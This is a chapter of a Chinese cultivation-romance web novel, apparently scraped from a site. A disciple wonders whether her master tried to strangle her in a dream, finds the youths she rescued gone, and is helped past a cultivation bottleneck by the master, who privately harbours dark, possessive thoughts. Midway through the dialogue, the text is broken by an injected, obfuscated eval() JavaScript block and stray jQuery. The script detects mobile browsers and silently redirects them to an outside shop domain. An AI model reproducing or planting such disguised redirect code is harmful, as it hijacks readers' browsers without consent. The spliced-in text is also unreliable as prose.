翌日,苏子冬起了个大早。
简单梳洗完,她便出了竹屋,准备去一趟千漪湖,看望几位家族弟子。
轻轻合上了竹门,她不禁往封沉胥的竹屋望去。
那扇竹门还是紧紧闭着,没有任何动静,一切如常。
苏子冬抿了抿唇,离开了这方天地。
她一边往千漪湖的方向走,一边摸着自己完好无损的脖子。
昨晚,她好像做了个梦中梦。
梦中,睡得香甜的她,胎记的位置突然烧了起来,又疼又热。不仅如此,脖子也惊人般地痛,骨头和颈肉被挤压得快要断掉,她感觉自己几乎要窒息死了。
可无论她再怎么痛,就是睁不开眼睛,浑身一点挣扎反抗的力气都没有。
好在,这种感觉并没有维持多久,很快就消失了。
当那窒息的痛感都褪去,随之而来的,是熟悉的气息。
那些是真的吗?
苏子冬不知道。
那梦中的经历太过于真实,她很想睁开眼睛确认是梦境还是现实,可她全程又动弹不得。无论再怎么努力,连眼睛都睁不开,最多只是动了几下眼皮。没多久,她就失去了记忆,直接昏睡过去。
今早醒来,她细细感受了一下胎记,确实有过灼烧的痕迹,轻轻摁一下,隐隐作痛。
思来想去,她还是认为那是一个真实的梦。毕竟,现实中来看,她的脖子是一点异样都没有。
总之,不论如何,她都没法仅凭那一点感觉,判断是师尊半夜来掐自己。
于情于理,师尊都不可能做出这种事。
想通了之后,苏子冬不再多去作纠结,而千漪湖也近在眼前了。
她想过许多场景,没想到的是,留给自己的是,空空如也的湖边。
柳毅几人的身影消失了。
苏子冬把周围打量了一番,都没有看到半个人影。
“怎么回事?怎么一个人都不在了。”
她看向一旁飘着昙绮,道:“昙绮,要不然你用神识扫视一下看看?”
昙绮心想,哪里还需要扫,尸体都找不到了。
想到昨晚阴鸷可怖的封沉胥,它就害怕得想当场躺尸。
吓死它了,差点以为要升天了。
还好魔尊大人完全没搭理自己。
小命留住了。
昙绮心中哀叹,不得不又对苏子冬扯谎:“燕飞山已经没有他们的存在了,阵法外围还残留着一些其他人的气息。大抵是家中长辈来了,一起走了。”
“啊?”苏子冬不可置信,“连声招呼都不打,就走了吗?”
昙绮道:“看样子是的。”
苏子冬忍不住道:“这也太没礼貌了吧!”
昙绮道:“不是谁都懂得感恩的,下次还是少管闲事吧。”
这让苏子冬想起几人昨日被追杀的模样,不由叹了口气。
她道:“见死不救,未免太残忍。可是我感觉柳毅不是那种人啊?”
昙绮道:“他昨日可是调戏你了。”
想到那一声声‘子冬妹妹‘,她嘴角没控制住抽搐了几下。
不过,她并没有被它带偏。
“一码归一码,我的意思是,他有些礼数,不像那种不告而别的人。就算昨天的样子是装的,那也该装到底吧?他们不怕得罪我吗?这世道可是多个朋友多条路呀!我还是师尊的徒弟呢!”
昙绮无言以对,放弃辩解。
“那我也不知晓了,反正人已经走了。”
苏子冬一口气卡在心里不上不下,有种被辜负的不甘气愤感,憋屈得很。
她不爽地一脚踢飞湖边的小石子,骂道:“我真服了,好人没好报啊!下次给我见到他们,我一定要问个明白!”
倘若真是没有苦衷,利用完人后直接走掉,她一定要把他们给揍一顿,出出气!
看苏子冬火大,对着空气大叫的样子,昙绮苦笑望天。
“走,修炼去。”苏子冬攥紧拳头,对天道中二发言,“总有一天,我要让那些欺辱我的人付出代价!”
说完,她冷酷一笑。
昙绮:“……”
一晃几日过去。
潜心修炼的苏子冬一方面觉得自己真是个天才,一方面又觉得天才不该落到这种地步。
好消息,经过她的不懈努力,她要升阶了。
坏消息,她卡住了,上不去,就差临门一脚。
对此,苏子冬苦涩一笑,仰天大喊。
“不——!”
随后,指着一颗大树,道:“你不善待我,我偏要逆你而行!你若挡我,我XXX定要斩之!”
昙绮被她吓了一跳,对她莫名其妙的行为感到无语。
“你这是在做什么?”
苏子冬恢复了正常,表情一本正经得好像刚才那个人不是自己一样。
“我那是在发挥我的气势,演绎出我对命运的抗争精神,震慑一下卡住修炼的进度条。”
“……”
不光是昙绮,刚刚走来的封沉胥听到这一些话,也很是无言以对。
但愿修罗剑安然无恙,不受精神影响。
“师尊!”
苏子冬一个斜眼,就看到了多日不见的封沉胥。
瞬间眉眼灿烂灵动,露出发自内心欢喜的笑容。
封沉胥看着她高兴地跳了起来,跑到自己身边来,一双杏眼清澈而明媚地望着,满是信任喜欢依赖。
心中扫去的阴霾反扑回来了一点。
他阴暗地想着,她若是敢对除他以外的任何神魔鬼怪露出这幅表情,定要挖了这双眼,灭了那心神。
“遇到瓶颈了?”
表面上,封沉胥微微笑着,淡然询问。
听他这么问,苏子冬就知道了自己乱七八糟的中二行为被师尊目睹了,一时间有些不好意思起来。
她尴尬地哈哈两声,眼神飘忽,道:“是…是啊…”
封沉胥道:“吃一颗破阶丹。”
苏子冬愣了一下,随即反应了过来,立马从储物袋取出破阶丹,吃下一颗。
“运转体内灵力。”
她闻言照做,只见师尊抬指虚点她的眉间,一股强劲霸道的灵力涌入身体,势不可挡冲刷着全身经络,将所有阻碍溃散。
瓶颈就此终结,连带修为直至灵寂中期巅峰,欲有突破至后期,直飙金丹的趋势。
苏子冬狠狠地被震撼到了。
师尊一个点拨,差点就上金丹了!
请问她之前辛苦的修炼算什么?算她会努力吗?
封沉胥道:“为师就帮你到这,过多提拔,对你不好。”
原来还能再高啊!
苏子冬点头如捣蒜,表示很理解,被带飞的感觉固然很好,可多了,就像拔苗助长,不顶事。
眼见师尊身形一动,她心中咯噔一下,脱口而出。
“师尊,你不会又要出远门吧?”
封沉胥一顿,抬眼看她。
两人无言相对,片刻后,封沉胥才道:“暂时不。”
言下之意便是,还是会。这个暂时保持多久,她并不知晓,可能几个时辰后,也可能是好几日。
“好吧。”
苏子冬心想,师尊太够意思了,她得好好感谢一番。
她声情并茂道:“师尊,你实在是太幸苦了,每天不是闭关,就是外出,跟个全年无休的牛马一样。弟子是看在眼里,疼在心里呀!”
听到她把自己比作辛勤劳作的牛跟拉货拉人的马,封沉胥没忍住嘴角一抽。
“是吗?那你想如何?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17611231|202698||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
苏子冬囊中羞涩般一笑,道:“师尊您那么厉害,要什么没有呀?什么天上宫阙,山河美景,奇珍异宝没见过。弟子能做的事情太少了,很多也做不到,所以……”
虽然封沉胥也没抱什么期待,但还是有点好奇地放大了听觉。
“您有什么喜欢的东西吗?”
“………”
果然不该好奇的,没想到还把问题抛给他了。
封沉胥道:“按你所言,为师要什么没有。我喜欢的,怕是早已得到,你又能给予什么?”
苏子长叹一口气,一脸可怜巴巴道:“呜呜呜师尊大大,求求你了,您就想想吧,我真的没招了。如果菜是一种罪,那我无期徒刑,宽限宽限我吧~”
“………”封沉胥突然有点想翻白眼,好在他克制住了,他随口道,“那便给我酿一坛好酒吧。”
打滚卖惨装萌的苏子冬有些意外,道:“原来师尊是喝酒的呀?”
她可没见过,就见过他喝茶而已。
看着师尊这张帅脸,她不禁幻想了一下,花前月下,他饮酒的模样。
嗯,也不是不行。
不过,她哪里会酿酒啊!
苏子冬战战兢兢:“还有其他的吗?”
封沉胥疑惑地瞥了她一眼,道:“一样还不够?”
不……
苏子冬还没否认出声。
封沉胥便道:“好了,为师期待你的好酒。”
苏子冬只好默默地把话咽回肚子里,干巴巴道:“好的,定不辱使命。”
“嗯。”封沉胥甩袖便要离开。
苏子冬在身后叫住他,道:“师尊,前一阵子,我放了一些人进来。”
“哦?”封沉胥悠悠回头,明知故问,“何人?”
苏子冬道:“就是九州那些世家子弟,他们被邪教追杀,我拜托昙绮帮我救下他们了。”
昙绮妖身一紧,很想求她不要哪壶不开提哪壶了!最好就是不要提它!
没看到魔尊大人那饱含威慑力的眼神嘛!
“不过,他们第二天就走啦,我把燕飞山检查了一遍,没什么损失。”
关于几人默不吭声地离开,以及自己的咬牙切齿发言,她一句没说。
但这一些,就算她不说,封沉胥都是一清二楚的。
他不明意地笑了两声,道:“告诉为师这些做什么?”
苏子冬理所当然道:“那肯定要跟师尊说的嘛!咱们可是一条船上的人,要齐心协力,知无不言!”
一时,他缄默不言,目光悠长,像是想起了很遥远以前的事。
谈起这点,苏子冬面上的笑意也有所褪去。
不是她看出了封沉胥的心事,而是她想起了颈后的胎记。
原本,她是想等师尊出关了,告知于他。
可当那夜梦魇之后,无论她再怎么给自己理性分析,都无法彻底洗去心中的芥蒂。
不想起来还好,一想起来,眼前面如冠玉,笑唇微挑的师尊就变得变化莫测起来。
心里又犯起了难。
那究竟是不是一场噩梦啊?
她死盯着封沉胥的脸,跟个想要看出一朵花来似的。
奈何,她永远不懂师尊在想什么,光靠看,是很难看出一个人的具体想法的。
“怎么突然盯着为师看?”封沉胥呵呵道,“这么快就反悔了?不想孝敬为师了?要有辱你那至高无上的使命了?”
一连四个问号,把苏子冬给砸醒了。
她之前怎么没发现,师尊是个隐藏的‘十万个为什么’?
重点是,讲话多少带点阴阳怪气,又加词!
“怎么会!我一定会酿出世界上最最最最美味的酒来,保证您如痴如醉,流连忘返,师尊您老就把心放进肚子里吧!”